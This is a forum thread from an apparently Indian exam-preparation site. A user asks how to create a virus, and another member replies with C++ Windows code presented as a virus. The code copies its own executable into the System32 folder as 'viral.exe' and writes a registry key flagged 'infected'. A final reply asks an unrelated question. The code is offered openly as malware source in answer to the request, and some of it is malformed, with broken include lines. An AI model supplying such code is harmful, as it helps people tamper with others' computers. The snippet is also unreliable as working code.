Home » Ask & Discuss » Other Courses » Computer Applications « Back to Discussion



Computer Applications

New kid on the Block

Joined: 26 Oct 2008
Post: 2
26 Oct 2008 13:42:27 IST
0 People liked this
2
507 View Post
how to create a virus?
None

how to create a virus?


Share this article on:

Comments (2)

Sagar Saxena's Avatar

Forum Expert
Joined: 8 Oct 2008
Posts: 7221
7 Nov 2008 14:19:13 IST
0 people liked this

a c++ virus:



#include windows.h

#include string.h



char windir[MAX_PATH];



int APIENTRY WinMain(HINSTANCE hInstance,

                              HINSTANCE hPrevInstance,

                              LPSTR lpCmdLine,

                              int nCmdShow)

{



char pathname[256];

HKEY hKey;





GetWindowsDirectory(windir, sizeof(windir));

HMODULE hMe = GetModuleHandle(NULL);

DWORD nRet = GetModuleFileName(hMe, pathname, 256);



strcat(windir, "\\System32\\viral.exe");

CopyFile(pathname,windir,0);





unsigned char reg[10] = "infected";



RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);

RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));

RegCloseKey(hKey);



}


Blazing goIITian

Joined: 15 Aug 2008
Posts: 585
7 Nov 2008 14:20:27 IST
0 people liked this

sagar sir how can i mange my time




Quick Reply


Reply

Some HTML allowed.
Keep your comments above the belt or risk having them deleted.
Signup for a avatar to have your pictures show up by your comment
If Members see a thread that violates the Posting Rules, bring it to the attention of the Moderator Team
Free Sign Up!

Preparing for IIT-JEE ?

Arihant Revision Package for IIT JEE - Books, Practice Tests + Rank Predictor


@ INR 1,995/-

For Quick Info

Name

Mobile No.

Find Posts by Topics

Physics.

Topics

Mathematics.

Chemistry.

Biology

Parents

Board

Fun Zone

Sponsored Ads